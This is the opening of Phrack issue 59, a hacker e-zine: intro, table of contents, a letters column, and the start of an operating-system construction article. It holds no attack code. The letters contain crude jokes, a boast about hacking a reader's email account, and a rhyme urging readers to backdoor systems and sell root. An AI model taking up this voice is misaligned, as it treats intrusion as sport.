Phrack #59













C:\>type FILE_ID.DIZ

                                ==Phrack Inc.==

                   Volume 0x0b, Issue 0x3b, Phile #0x01 of 0x12

         , ,,,
          :#'  `,   ,,                               ,,
          ##    : ,#'                              ,#'
 __       $#,,#' ,#'     '#,:#$#.   ,,      ,,,   ,#'  ,'
/_/l     ,#'     #$'`#,   :#   '# .#  #;  .#'  `  #$#;`
: : :   ,#'      #:  '#   $#      #'  '#  ##.     #: '#
 ; ; ; ''       ,#'   ', ,:'      "#,,$#,.'#:.,' ,#'   ',  _/_/_/_/   _/_/_/_/
  : : :                                                   _/         _/    _/
   L ; ;  __.-._.-+.                                     _/_/_/_/   _/_/_/_/
  /."^.:.L.' .^-.  \`.                                        _/_/       _/
 :`.`. \"/\ /.-. `. \ \                                      _/_/       _/
 ;\ \ ` ;-.y(_.-\  \ `.`.                               _/_/_/_/   _/_/_/
 :   _. ;;  `    \  \. `-\
  \ T :: :=,   ,=^\  \"-._;          __..------.._
  /;:-'; ;<o\  <o> `._L.--^.     .-""-.`.   \     ""--..
 : :_.': :           ;/     \   /      \ \   ;          ""--._
 ;  T   \ \  s      /:.---.  ;_/    `-._; ;  :     ______    \"-.      ___
:   :\   \ `.-=^" .:-"    _\   \_.      : :  _:.--".-"  .T"---:-.""--""\  ""-.
;    \\   "-.\__.:'      /-'. ; ;    _. ; ;  /   -'    '    .- \        ;     "-
:     ;\     `..'      .'    \: ;      / / .'               )   ;  __  /        
 ;      `,     \    .-"       ;/"---" /.' /                 `- /"""  ""---""""--
 :    .-" `.      .'.-\      / ""----""""^-.._              .-"  bug
  \_.'      "._.-"-..-'`-..-'                 ""--..__..--""


What happend since p58?

Summercon took place (kudos to louis)! We put some pics online at for those who missed it.

DMCA knocked down some websites, forced google to censor parts of their
contents and continues to deny, forbid and restrict access to certain
information. Free and unmodified information becomes rare and one day we
might wake up and dont even know what kind of information we missed. Shame
and pity on everyone living in chains in the "free" countries where the
DMCA law applies. (-> PWN).

We have changed our release policy ( For the
last 15 years PHRACK has been released to anyone simultaneously. These days
PHRACK is also read by individuals, companies and agencies who do not value
the magazine and the authors (under DMCA, PHRACK might even be forbidden).
Research is free, the magazine is free, but now the phrack approval and
review process provides it free to the contributing authors 2 weeks

PHRACK 59 will be released in 3 steps:

2002-07-13: Limited release to contributing authors and volunteer reviewers.
2002-07-19: PHRACK 59 Release Candidate 1 is privately release to a larger
            audience for initial feed-back and review. (Not expected to
	    stay private for long...).
2002-07-28: Public release on main page for everyone
            who missed the release on the 19th.

There might be some confusion about where to get PHRACK and how to get in
contact with the Phrack Staff: We do _not_ chill on #phrack/efnet. That
channel has been left alone for nearly 3 years. Those who know us, know
where to find us. All others should contact us by email (PGP key is
attached). None of us would every confirm or show off his involvement in
PHRACK - only snobs do - watch out and dont trust strangers.  There is only
one official distribution side:

     [#][#][#]      [#][#][#]

We got contacted by the very old ones: readers, authors and Editors in
Chief's from 10 and more years ago. Thanks so far to everyone for the
valueable discussions on This is a call to
anyone who wants to meet some friends 'from the old days', or who wants to
organize future events and meetings together: Send an email to and we will put you on.

This issue comes with a goodie - check out phrack_tshirt_logo.png. We got
in contact with a printer and are happy to announce that the PHRACK TSHIRTS
will be ready for the public PHRACK 59 release. 
for you, your computer, your family and your dog at DEFCON X and later on

|=[ Table of Contents ]=-------------------------------------------------=|
| 0x01 Introduction                                  Phrack Staff 0x0b kb |
| 0x02 Loopback                                      Phrack Staff 0x0f kb |
| 0x03 Linenoise                                     Phrack Staff 0x6b kb |
| 0x04 Handling the Interrupt Descriptor Table                kad 0x55 kb |
| 0x05 Advances in kernel hacking II                      palmers 0x15 kb |
| 0x06 Defeating Forensic Analysis on Unix              the grugq 0x65 kb |
| 0x07 Advances in format string exploiting            gera & riq 0x1f kb |
| 0x08 Runtime process infection                 anonymous author 0x2f kb |
| 0x09 Bypassing PaX ASLR protection             anonymous author 0x26 kb |
| 0x0a Execution path analysis: finding kernel rk's J.K.Rutkowski 0x2a kb |
| 0x0b Cuts like a knife, SSHarp                          stealth 0x0c kb |
| 0x0c Building ptrace injecting shellcodes      anonymous author 0x17 kb |
| 0x0d Linux/390 shellcode development           johnny cyberpunk 0x14 kb |
| 0x0e Writing linux kernel keylogger                          rd 0x29 kb |
| 0x0f Cryptographic random number generators           DrMungkee 0x2d kb |
| 0x10 Playing with windows /dev/(k)mem                 crazylord 0x42 kb |
| 0x11 Phrack World News                             Phrack Staff 0x18 kb |
| 0x12 Phrack magazine extraction utility            Phrack Staff 0x15 kb |
|=------------------------------------------------------------=[ 0x2EE kb |

solar designer               : respect, strength & honor!
FozZy, brotha                : 1OO% kewl logo (see phrack_tshirt.png)
sh1ft33 & j0hn               : phrack ghostwriterz

  The latest, and all previous, phrack issues are available online at Readers without web access can subscribe to the
phrack-distrib mailinglist. Every new phrack is sent as email attachment
to this list. Every new phrack issue (without the attachment) is announced
on the announcement mailinglist.

To subscribe to the announcement mailinglist:
$ mail < /dev/null

To subscribe to the distribution mailinglist:
$ mail < /dev/null

To retrieve older issues (must subscribe first):
$ mail < /dev/null
$ mail distrib-get.<n> < /dev/null
where n indicated the phrack issue [1..58].

Enjoy the magazine!

Phrack Magazine Vol 10 Number 59, Build 2, July 28, 2002. ISSN 1068-1035
Contents Copyright (c) 2001 Phrack Magazine.  All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors. 
Phrack Magazine is made available to the public, as often as possible, free
of charge.

|=-----------=[ C O N T A C T   P H R A C K   M A G A Z I N E ]=---------=|

Editors           :
Submissions       :
Commentary        :
Phrack World News :

  We have some agressive /dev/null-style mail filter running. We do reply
to every serious email. If you did not get a reply, then your mail was 
probably not worth an answer or was caught by our mailfilter. Make sure 
your mail has a non-implicit destination, one recipient, a non-empty 
subject field, and does not contain any html code and is 100% 7bit clean
pure ascii.


Submissions may be encrypted with the following PGP key:

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see


phrack:~# head -22 /usr/include/std-disclaimer.h
 *  All information in Phrack Magazine is, to the best of the ability of
 *  the editors and contributors, truthful and accurate.  When possible,
 *  all facts are checked, all code is compiled.  However, we are not
 *  omniscient (hell, we don't even get paid).  It is entirely possible
 *  something contained within this publication is incorrect in some way.
 *  If this is the case, please drop us some email so that we can correct
 *  it in a future issue.
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for
 *  the entirely stupid (or illegal) things people may do with the
 *  information contained herein.  Phrack is a compendium of knowledge,
 *  wisdom, wit, and sass.  We neither advocate, condone nor participate
 *  in any sort of illicit behavior.  But we will sit back and watch.
 *  Lastly, it bears mentioning that the opinions that may be expressed in
 *  the articles of Phrack Magazine are intellectual property of their
 *  authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.

|=[ EOF ]=---------------------------------------------------------------=|

-------------------------------------------------------------------------------- cat /dev/random

                           ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x02 of 0x12

|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=------------------------=[ phrackstaff ]=------------------------------=|

----| QUOTE of the month
<phonic> is it legal?
<cold-fire> dont know, im doing it from bonds box

----| EXPLOIT of the month
apache-scalp & OpenBSD memcpy() madness^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H
openssh remote.

----| TOPIC of the month (regarding OpenSSH)
-:- Topic (#somewhere): changed by someone:
"8 hours and 53 minutes without a remote hole in the default install!"

----| LAMERZ of the month

    [ or: how to convert public whois db files into .xls and finding
      people who buy this bullshit. ]

    [ They try to make money out of everything: "Become a certificated
      hacker today". ]

|=[ 0x00 ]=--------------------------------------------------------------=|

From: "Kenneth J. Bungert,,," <>
Subject: harassment

I have a question ?

  [ I don't know... do you? ]

Is there any way I can find out who is calling if it is from a computer...
I think that is where the annoying calls are being made?

  [ If you are in a country that does not have consumer Caller ID, or
    provider ANI, then just follow the cord attached to the end your
    telephone until you find the person at the other end.  Ask them
    nicely if they called you. ]

Kenneth J. Bungert,,,

|=[ 0x01 ]=--------------------------------------------------------------=|

  [ Look what they did to mudge/Peiter Zatko. They cut his hair,
    tied a tie around his neck and covered his body with a suite.
    They wrote that he was the CEO (CEO?, #1?) of [the company named]
    "L0pht Heavy Industries".
    My comment: 'They made a clown out of a well respected smart guy/hacker
    who should be better descriped as 'a key figure in americans famous
    underground hacking group known as L0pft Heavy Industries'. I hope
    the tie will not become too tight mudge :/ ]

|=[ 0x02 ]=--------------------------------------------------------------=|


Hello i need some help.

   [ Come to us, we enlight and answer all your worries! ]

if someone can hack down and take down the proxy server,
would make me very happy.

   [ ..would pretty much impress me. Most of your questions can be
     answered by reading RFC1918. ]

NB! if someone do that, they will get a little reward from me, $120.
tanks again

|=[ 0x03 ]=--------------------------------------------------------------=|

Dear Hacker

i am 29 y/o male and very intrested in hacking my girlfriends Emails
in "Yahoo" and "Hotmail" . please instruct me if it has an straighforward
solution or anything help me in this regard.
i have tried some softwares about this but they didnt work properly
and no result achieved. please Email ur hints to
thank you for your prompt attention.

Bob Z.

  [ Dear Lamer

    After hacking your Yahoo! account we acquired your girlfriend's email
    address and proceeded to inform her about your curiosity.

    After speaking with her about this incident she agreed that we should
    expose you for the perverse idiot that you are.  Get a life. ]

|=[ 0x04 ]=--------------------------------------------------------------=|

From: "brad" <>

Hey guys..I am a beginner and i am trying to find all the information that
i can on how to learn everything that you guys know...i am not asking for
you to tell me how to hack into hotmail or yahoo mail like some of the
other people here but i just want any kind of information that you can give
me on how to learn anything and everything about what you guys do,

  [ Do you know what it is that we know?  We don't know what we know, we
    just know that we know it.

    An obvious self-promotional answer would be to read Phrack... ]

With much respect,

|=[ 0x05 ]=--------------------------------------------------------------=|

From: Jason De Grandis <>
Subject: [phrackstaff] Hacking / Cracking

I am new to the world of hacking and cracking, and I want to get some info
on the above.

  [ Welcome to our world, Jason. ]

What I want to do is, obtain credit card numbers, get email passwords and
get into NASA and the FBI, if I am lucky.  The sort of stuff the movie
"Hackers" illustrated.  I don't know if this can be done, if it can, can
someone email me the information or point me into the right direction on
were to start.

  [ Sounds like some pretty serious stuff you want to get into.  I
    recommend watching Hackers a few more times and then getting yourself
    some Gibsons.  Remember -- the most commonly used passwords are "love",
    "sex", "secret" and "god" -- BUT NOT NECESSARILY IN THAT ORDER YOU

Where do I go and what do I need.  I have started learning LINUX, as I have
been told it is something to know and learn.  What else do I need???

  [ A system, a clue, some Phrack issuez for you
    Learn Unix and learn it good, learn it like a ninja would
    If you do not have a clue yet, some 0day you must get
    Hack the planet in a night, backdoor that shit up tight
    Sell each root for a buck...


  [ S. ]

|=[ 0x06 ]=--------------------------------------------------------------=|

Hey again Phrack

  [ Hello ]

I have now read quite a few of your magazines. BUT there is a pretty
nasty failure in number 56... Either the index file is misplaced or the
articles are. They don't match, that's for sure!

  [ It is all fine.  It is indexed in hex (the index file is quite clear if
    you bother to read it -- p56-0x01) ]

If you have gotten the time for it could you then please fix it. And I
would be happy if you would send me a copy of the correct one when

  [ No.  It's not broken, chump. ]

Thank you.

/Dark Origin

~If you think nobody cares, try missing a  couple of payments.~

  [ Trust me.  Nobody cares. ]

|=[ 0x07 ]=--------------------------------------------------------------=|

From: syiron the sex man <>
To: <somegroup@somedomain>
Subject: i would like to surf telnetd daemon services

hello <grup name> the best crew in the world

  [ Thank you. ]

i had search remote buffer to gain access root in telnetd port daemon but
i fail to do it

  [ I feel your pain. ]

can you make me one of the remote to attack solaris sparc ... attack from
linux or solaris

  [ Nope! ]

need code

  [ Need life. ]


|=[ 0x08 ]=--------------------------------------------------------------=|

Hi! Can you to speak to me the learn for to speak the Unix?

  [ I wish Unix I knew to speak it to you good hehe! ]

|=[ 0x09 ]=--------------------------------------------------------------=|

From: "I. O. Jayawardena" <>
Subject: [phrackstaff] Best wishes

Greetings guys (and gals?),

  [ Greetings, I. O. ]

        First things first: Phrack is a really good e-zine, and loopback is
just great, but you knew this already ;)

  [ Of course! ]

I'm an aspiring hacker and all-round geek. Girls are scarce over here;
knowledge even more so. I developed the hacker state of mind when I was
exposed to the Net, while I was studying like a demon for a competition
which landed me my Celeron (with some peripherals). While surfing two
days ago, I stumbled onto and an old flame was rekindled; So
here I am...
        Really guys, Phrack is a good thing. Keep up the good work. The
home page is very nice too... Maybe even chicks will dig it ;)

  [ The webmaster has been hoping they would since day 1. ]

        I'm a pretty good C and C++ programmer, and the only difficulty I
have is money. NO credit cards to pay for books I can buy only online. I'd 
be very grateful if anyone over there could give me the location of a
_free_ machine-readable copy of "The C Programming Language" by K&R. I
doubt if even the universities over here have it (off the record, some
professors here don't know that printf(...) actually returns something, but
claim to have written Linux kernel modules :| ).

  [ If you're a pretty good C programmer, why do you need that particular
    book?  Are you lying to us?  Try a library. ]

        Anyway, thanks, and I can say with absolute, nay, non-relative
certainty that the number of Phrack readers has increased by one

  [ Geek! ]


PS: if the only "alvin" you can recall is alvin of the chipmunks, read
up a bit on the works of Sir Arthur C. Clarke.

  [ No thanks, I'll take your word for it, chipmunk. ]

|=[ 0x0a ]=--------------------------------------------------------------=|

From: "RAZ" <>




  [ That's very nice, Baz.  But you're still shouting! ]


  [ Of course.  Don't you read Phrack? ]


  [ I think you're beyond help. ]

|=[ 0x0b ]=--------------------------------------------------------------=|

From: "Marcel Feuertein" <>
Subject: [phrackstaff] You have a slight problem on your site.

Hello, to whom it may concern;

When I went to your 'download' link it opened in 'edit' mode..
showing me the total >> Index of /archives>> without the HTML.

  [ Really?  That's disgraceful! ]

Found your site while searching Yahoo on how to play a video file I
downloaded with an .AVI extension with a comment " EG-VCD" after the name
of file, which causes my Windows Media Player to play only the sound ..
without the video.

  [ Interesting. ]

Thus I was looking for a player/codec to solve this problem.

  [ Good luck. ]

Any suggestions are appreciated.

  [ I'm all out of ideas. ]

Your site has been added to my favorites. I truly enjoy your content.

  [ Thanks. ]

Take care


|=[ 0x0c ]=--------------------------------------------------------------=|

From: richard fraser <>
Subject: [phrackstaff] problem

what do i run the programmme under ,you know like what programme do i run
it in

  [ I've been asking myself that question all my life. ]


|=[ 0x0b ]=--------------------------------------------------------------=|

Subject: [phrackstaff] phrakz

My nickname is Bobby - Happy Bobby, im 14 years hacker, & im so happy
becouse of pCHRAK (or sumthin) 58 issue, finally i had found
information how to break into pentagon server, but i have one littl3
pr0blem, i dunno how to log into this server i had tried telnet but my Windows said "Cannot found telnet.exe file", could you
tell me what am i doing wrong?

PS.My dick is now 32cm long!, one year ago it was only 5cm, how about

s0ry 4 my b4d inglish (i ate all sesame-cakes :),

ps0x01.gr33tz to all hacker babes (if they really exists i bet they
would like to hack into my pants & meet Big Bobby :)
ps0x02.i tak mierdzicie ledziem :)
ps0x03.pana guampo kanas e ribbon hehe

Happy Bobby

   [ ... ]

|=[ 0x0c ]=--------------------------------------------------------------=|


hey yall, I havent done many articles but i think i am up to the
challenge.  Do you know a subject that I could write on that the
ppl that read phrack would enjoy?  thankz,


    [ Try it with "The insecurity of my ISP, MSN.COM" ]

|=[ 0x0d ]=--------------------------------------------------------------=|

From: piracy <>
Subject: [phrackstaff] How are you

     [ ?! thnx, and you guys? ]

|=[ 0x0e ]=--------------------------------------------------------------=|

I got this message from you:

> To:
> From:
> Subject: Your message to phrackstaff awaits moderator approval
> Posting to a restricted list by sender requires approval
> Either the message will get posted to the list, or you will receive
> notification of the moderator's decision.

   [ hmm, yes indeed, interesting. Hmm. What might this be Dr.Watson?
     The moderator's decision is to investigate this posting a little
     bit further. ]

However, I never sent a message to phrackstaff before this one.  So there
seems to be a problem.  I would kindly request that you do NOT post the
message, since I don't know what it contains and don't want it to be
attributed to me.

Thank you very much
Luigi Semenzato

|=[ 0x0f ]=--------------------------------------------------------------=|


The Blue Boar is currently chatting in #phrack!

   [ Noone of us is in control of this channel. We chill where no
     phrack staff has chilled before... ]

|=[ 0x10 ]=--------------------------------------------------------------=|

From: "Brian Herdman" <>      


    [ y0! ]

      im looking for a copy of the jolly rodger cook book                       
i used to have it but my hard drive fried and i thought it was gone             

    [ Man, I've been looking for that one for the last 15 years
      on but i guess one of the previous editors just
      rm'ed it. jolly rodger cook book, yummm yumm, that's what's
      missing on our page....]

|=[ 0x11 ]=--------------------------------------------------------------=|

From: son gohan <>
Subject: [phrackstaff] phreak boxes       

Hi can i get some info on the tron box?                                     

    [ PHRACK != GOOGLE ]

|=[ 0x12 ]=--------------------------------------------------------------=|

From: "Bruce's Email" <>
Subject: [phrackstaff] Passwords
Date: Wed, 10 Apr 2002 13:45:44 -0500

How do I figure out someone's password and user name if I have their e-mail

    [ The easiest way is just to ask him:
      echo "ALL UR PASSW0RDZ R BEL0NG TO US!" | mail ]

|=[ EOF ]=---------------------------------------------------------------=|


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3b, Phile #0x03 of 0x12

|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=------------------------=[ phrackstaff ]=------------------------------=|

--[ Contents

  1 - PHRACK Linenoise Introduction
    1.1 PHRACK Oops
    1.2 PHRACK Fakes

  2 - PHRACK OS Construction

  3 - PHRACK ninja lockpicking

  4 - PHRACK sportz: fingerboarding

--[ 1 - PHRACK Linenoise Introduction

    I think you know what linenoise is about. We had the same
cut & paste Linenoise Introduction in the last 10 issues :)

----[ 1.1 - PHRACK Oops

Oops, For the last 17 years we forgot the .txt extension to the

Some reader complained about a little mistake in p59-0x01:
phrack:~# head -20 /usr/include/std-disclaimer.h
22 lines of the header are actually printed :P

The message of the disclaimer remains:
1) No guarantee on anything.
2) Nobody is responsible.
3) Dont blame us if your kids turn into hackerz.

----[ 1.2 - PHRACK Fakes

That's not us.
Check out our homepage at for some tshirts.

|=[ 0x02 ]=-------=[ Methodology For OS Construction ]=------------------=|
|=--------------=[ Bill Blunden <> ]=---------------=|

--[ Contents

  0 - Introduction

  1 - The Critical Path
	1.1 Choose a Host Platform
	1.2 Build a Simulator
	1.3 Build a Cross-Compiler
	1.4 Build and Port The OS
	1.5 Bootstrap the Cross-Compiler

  2 - OS Components
	2.1 Task Model
	2.2 Memory Management
	2.3 I/O interface
	2.4 File System
	2.5 Notes On Security

  3 - Simple Case Study
	3.1 Host Platform
	3.3 Compiler Issues
	3.4 Booting Up
	3.5 Initializing The OS
	3.6 Building and Deploying

  4 - References and Credits

--[ 0 - Introduction

Of the countless number of books on operating system design, there are
perhaps only three or four, that I know of, which actually discuss how to
build a fully-functional operating system. Even these books focus so
narrowly on specific hardware that the essential steps become buried
under a pile of agonizing minutiae. This is not necessarily a bad thing,
rather it is an unintended consequence. Operating systems are incredibly
complicated pieces of software, and dissecting one will yield countless

Nevertheless, my motivation for submitting this article is to provide a
generic series of steps which can be used to build an OS, from scratch,
without bias towards a particular hardware vendor.

"Geese Uncle Don, how do you build an OS ..."

My own understanding of OS construction was rather sketchy until I had the
privilege of meeting some old fogeys from Control Data. These were people
who had worked on the CDC 6600 with Seymour Cray. The methodology which I
am passing on to you was used to build Control Data's SCOPE76 operating
system. Although some of the engineers that I spoke with are now in their
70s, I can assure you that the approach they described to me is still very
useful and relevant.

During the many hours that I pestered these CDC veterans for details, I
heard more than a few interesting war stories. For example, when Control
Data came out with the 6600, it was much faster than anything IBM was
selling. The execs at Big Blue were so peeved at being upstaged by Cray
that they created a paper tiger and told everyone to wait a few months.
Unfortunately, it worked. Everyone waited for IBM to deliver ( IBM never
did, those bastards ) and this forced CDC to drop the price of the 6600
in half in order to attract customers.

If you are familiar with IBM's business practices, this type of behavior
comes as no surprise. Did you know that IBM sold Hollerith tabulators to
the Nazis during WWII?

This article is broken into three parts.

Part 1 presents a general approach that may be used to build an operating
system. I am intentionally going to be ambiguous. I want the approach to
be useful regardless of which hardware platform you are targeting.

For the sake of focusing on the process itself, I delay the finer details
of construction until Part 2. In Part 2, I present a rough map that can be
used to determine the order in which the components of the OS should be

For the sake of illuminating a few of the issues that a system engineer
will face during OS implementation, I have included a brief discussion
of an extended example in part 3. My goal in part 3 is to illustrate some
of the points that I make in part 1. I have no intention of offering a
production quality OS, there are already a number of excellent examples
available. Interested readers can pick up any of the references provided
at the end of this article.

--[ 1 - The Critical Path

In the stock market, you typically need money in order to make money.
Building an OS is the same way: you need an OS in order to build one.

Let's call the initial OS, and the hardware that it runs on, the 'host'
platform. I will refer to the OS to be constructed, and the hardware that
it will run on, as the 'target' platform.

--[ 1.1 - Choose a Host Platform

I remember asking a Marine Corp Recon guy once what he thought was the
most effective small sidearm. His answer: "whichever one you are the most
familiar with."

The same holds true for choosing a host platform. The best host platform
to use is the one which you are the most familiar with. You are going to
have to perform some fancy software acrobatics and you will need to be
intimately familiar with both your host OS and its development tools. In
some more pathological cases, it may even help to be familiar with the
machine instruction encoding of your hardware. This will allow you to
double check what your development tools are spitting out.

You may also discover that there are bugs in your initial set of tools,
and be forced to switch vendors. This is a good reason for picking a host
platform which is popular enough that their are several tool vendors to
choose from. For example, during some system work, on Windows, I
discovered a bug in Microsoft's assembler (MASM). As it happened, MASM
would refuse to assemble a source file which exceeded a certain number of
lines. Fortunately, I was  able to buy Borland's nifty Turbo Assembler
(TASM) and forge onward.

--[ 1.2 - Build a Simulator

Once you've picked a host platform and decided on an appropriate set of
development tools, you will need to build a simulator that replicates the
behavior of the target platform's hardware.

This can be a lot more work than it sounds. Not only will you have to
reproduce the bare hardware, but you will also have to mimic the BIOS which
is burned into the machine's ROM. There are also peripheral devices and
micro controllers that you will need to replicate.

Note: The best way to see if you have implemented a simulator correctly is
to create an image file of a live partition and see if the simulator will
run the system loaded on it. For example, if you built an x86 simulator,
then you could test out an image file of a Linux boot partition.

The primary benefit of the simulator is that it will save you from having
to work in the dark. There is nothing worse than having your machine
crash and not being able to determine why. Watching your Intel box triple
fault can be extremely frustrating, primarily because it is almost
impossible to diagnose the problem once it has occurred. This is
particularly true during the boot phase, where you haven't built enough
infrastructure to stream messages to the console.

A simulator allows you to see what is happening in a safe, and controlled,
environment. If your code crashes the simulator, you can insert diagnostic
procedures to help perform forensic work. You can also run the simulator
from within the context of a debugger so that you can single-step through
tricky areas.

The alternative is to run your OS code on raw metal, which will basically
preclude your ability to record the machine's state when it crashes. The
diagnostic and forensic techniques which you used with the simulator will
be replaced by purely speculative tactics. This is no fun, trust me.

For an excellent example of a simulator, you should take a look at the
bochs x86 simulator. It is available at:

Once thing that I should mention is that it is best to use bochs in
conjunction with Linux. This is because bochs works with disk images and
the Linux 'dd' command is a readily available and easy way to produce
a disk image. For example, the following command takes a floppy disk and
produces an image file named floppy.img.

			dd if=/dev/fd0 of=floppy.img bs=1k

Windows does not ship with an equivalent tool. Big surprise.

"Back in my day ..."

In the old days, creating a simulator was often a necessity because
sometimes the target hardware had not yet gone into production. In those
days, a smoke test was truly a smoke test ... they turned on the machines
and looked for smoke!

--[ 1.3 - Build a Cross-Compiler

Once you have a simulator built, you should build a cross-compiler.
Specifically, you will need to construct a compiler which runs on the host
platform, but generates a binary which is run by the target platform.
Initially you will use the simulator to run everything that the cross-
compiler generates. When you feel confident enough with your environment,
you can start running code directly on the target platform.

"Speaking words of wisdom, write in C..."

Given that C is the de facto language for doing system work, I would
highly recommend getting the source code for compiler like gcc and
modifying the backend. The gcc compiler even comes with documentation
dedicated to this task, which is why I recommend gcc. There are other
public C compilers, like small-C, that obey a subset of the ANSI spec
and may be easier to port.


If you want to be different, I suppose you could find a Pascal or Fortran
compiler to muck around with. It wouldn't be the first time that someone
took the less traveled route. During the early years, the Control Data
engineers invented their own variation of Pascal to construct the
NOSVE (aka NOSEBLEED) OS. NOSVE was one of those Tower of Babel projects
that never made it to production. At Control Data, you weren't considered
a real manager until you had at least one big failure under your belt. I
bet NOS/VE pushed the manager up to VP status!

--[ 1.4 - Build and Port The OS

OK, you've done all the prep work. It's time to code the OS proper. The
finer details of this process are discussed in Part 2. Once you have
a prototype OS built than runs well on the simulator you will be faced
with the -BIG- hurdle ... running your code on the actual target hardware.

I found that this is a hurdle which you should jump early on. Do a test
run on the target platform as soon as you have the minimal number of
working components. Discovering that your code will not boot after 50,000
lines of effort can be demoralizing.

If you were disciplined about designing and testing your simulator, most
of your problems will probably be with the OS code itself and perhaps
undocumented features in peripheral hardware controllers. This is where
investing the time in building a bullet-proof simulator truly pays off.
Knowing that the simulator does its job will allow you to more accurately
diagnose problems ... and also save you plenty of sleep.

Finally, I would recommend using a boot disk so that you don't put the
hard drive(s) of your target machine at risk. Even the Linux kernel can
be made to fit on a single floppy, so for the time being try not to worry
about binary size constraints.

--[ 1.5 - Bootstrap the Cross-Compiler

Congratulations. You have gone where only a select few have gone before.
You've built an operating system. However, wouldn't it be nice to have
a set of development tools that can be run by your new OS? This can be
achieved by bootstrapping the existing cross-compiler.

Here's how bootstrapping works: You take the source code for your cross-
compiler and feed it to the cross-compiler on the host platform. The
cross-compiler digests this source code and produce a new binary that can
be executed by the target OS. You now have a compiler that runs on the
target OS and which creates executables that also run on the target OS.

Naturally, I am making a few assumptions. Specifically, I am assuming that
the libraries which the cross-compiler uses are also available on the
target OS. Compilers spend a lot of time performing string manipulation and
file I/O. If these supporting routines are not present and supported on the
target platform, then the newly built compiler is of little utility.

--[ 2 - OS Components

An OS is a strange sort of program in that it must launch and manage
itself in addition to launching and managing other programs. Hence, the
first thing that an operating system needs to do is bootstrap itself and
then set up its various components so that it can do its job.

I would recommend getting your hands on the vendor documentation for
your hardware. If you are targeting Intel, then you are in luck because
I explain the x86 boot process in Part 3 of this article.

In terms of overall architecture, I would recommend a modular, object-
oriented, design. This doesn't mean that you have to use C++. Rather, I
am encouraging you to delineate the various portions of the OS into
related sets of data and code. Whether or not you use a compiler to
enforce this separation is up to you. This approach has its advantages
in that it allows you to create sharply delineated boundaries between
components. This is good because it allows you to hide/modify each
subsystem's implementation.

Tanenbaum takes this idea to an extreme by making core components, like
the file system and memory manager, pluggable at runtime. With other
operating systems, you would have to re-compile the kernel to swap
core subsystems like the memory manager. With Minix, these components
can be switched at runtime. Linux has tried to implement something
similar via loadable kernel modules.

As a final aside, you will want to learn the assembly language for the
target platform's hardware. There are some OS features that are tied
directly to hardware and cannot be provided without executing a few dozen
lines of hardware-specific assembler. The Intel instruction set is
probably one of the most complicated. This is primarily due to historical
forces that drove Intel to constantly strive for backwards compatibility.
The binary encoding of Intel instructions is particularly perplexing.

Which OS component should you tackle first?

In what order should the components be implemented?

I would recommend that you implement the different areas of functionality
in the manner described by the following four sections.

--[ 2.1 - Task Model

In his book on OS design, Richard Burgess states that you should try to
start with the task control code, and I would tend to agree with him.
The task model you choose will impact everything else that you do.

First, and foremost, an operating system manages tasks. What is a task? The
Intel Pentium docs define a process as a "unit of work" (V3 p.6-1).

What was that person smoking? It's like saying that a hat is defined as a
piece of clothing. It doesn't give any insight into the true nature of a
task. I prefer to think of a task a set of instructions being executed by
the CPU in conjunction with the machine state which that execution

Inevitably, the exact definition of a task is spelled out by the operating
system's source code.

The Linux kernel (2.4.18) represents each task by a task_struct
structure defined in /usr/src/linux/include/linux/sched.h. The kernel's
collection of processes are aggregated in two ways. First, they are
indexed in a hash table of pointers:

		extern struct task_struct *pidhash[PIDHASH_SZ];

The task structures are also joined by next_task and prev_task pointers
to form a doubly-linked list.

		struct task_struct
			struct task_struct *next_task, *prev_task;

You will need to decide if your OS will multi-task, and if so then what
policy will it apply in order to decide when to switch between tasks
( switching tasks is also known as a context switch ). Establishing a
mechanism-policy separation is important because you may decide to change
the policy later on and you don't want to have to re-write all the
mechanism code.

Context Switch Mechanism:

On the Intel platform, task switching is facilitated by a set of system
data structures and a series of special instructions. Specifically,
Intel Pentium class processors have a task register (TR) that is intended
to be loaded (via the LTR instruction) with a 16-bit segment selector.
This segment selector indexes a descriptor in the global descriptor table
(GDT). The information in the descriptor includes the base address and
size of the task state segment (TSS). The TSS is a state-information
repository for a task. It includes register state data (EAX, EBX, etc. )
and keeps track of the memory segments used by a given task. In other
words, it stores the 'context' of a task.

The TR register always holds the segment selector for the currently
executing task. A task switch is performed by saving the state of
the existing process in its TSS and then loading the TR with a new
selector. How this actually occurs, in terms of what facilitates the
re-loading of TR, is usually related to hardware timers.

The majority of multi-tasking systems assign each process a quantum
of time. The amount of time that a task receives is a policy decision.
An on-board timer, like the 82C54, can be set up to generate interrupts
at evenly spaced intervals. Every time these interrupts occur, the kernel
has an opportunity to check and see if it should perform a task switch.
If so, an Intel-based OS can then initiate a task switch by executing
a JMP or CALL instruction to the descriptor, in the GDT, of the task to
be dispatched. This causes the contents of TR to be changed.

Using the timer facilitates what is known as preemptive multitasking.
In the case of preemptive multitasking, the OS decides which task
gets to execute in conjunction with a scheduling policy. At the other
end of the spectrum is cooperative multitasking, where each task decides
when to yield the CPU to another task.

For an exhaustive treatment of task management on Intel, see Intel's
Pentium manual (Volume 3, Chapter 6).

Context Switch Policy:

Deciding which process gets the CPU's attention, and for how long, is a
matter of policy. This policy is implemented by the scheduler. The Linux
kernel has a scheduler which is implemented by the schedule() function
located in /usr/src/linux/kernel/sched.c.

There are a lot of little details in the schedule() function related to
handling the scenario where there are multiple processors, and there are
also a couple of special cases. However, the core actions taken by the
scheduler are relatively straightforward. The scheduler looks through the
set of tasks that are eligible to execute. These eligible tasks are
tracked by the runqueue data structure.

The scheduler looks for the task on the runqueue with the highest
'goodness' value and schedules that task for execution. Goodness is a
value calculated by the goodness() function. It basically returns a
value which reflects the need for the task to run.

			Goodness Spectrum
			-1000: never select this
			0: re-examine entire list of tasks, not just runqueue
			+ve: the larger, the better
			+1000: realtime process, select this.

If the highest goodness values of all the tasks in the runqueue is zero,
then the scheduler takes a step back and looks at all of the tasks, not
just the ones in runqueue.

To give you an idea of how this is implemented, I've included a snippet
of the schedule() function and some of its more memorable lines:

asmlinkage void schedule(void)
	struct schedule_data * sched_data;
	struct task_struct *prev, *next, *p;
	struct list_head *tmp;
	int this_cpu, c;
	 * this is the scheduler proper:

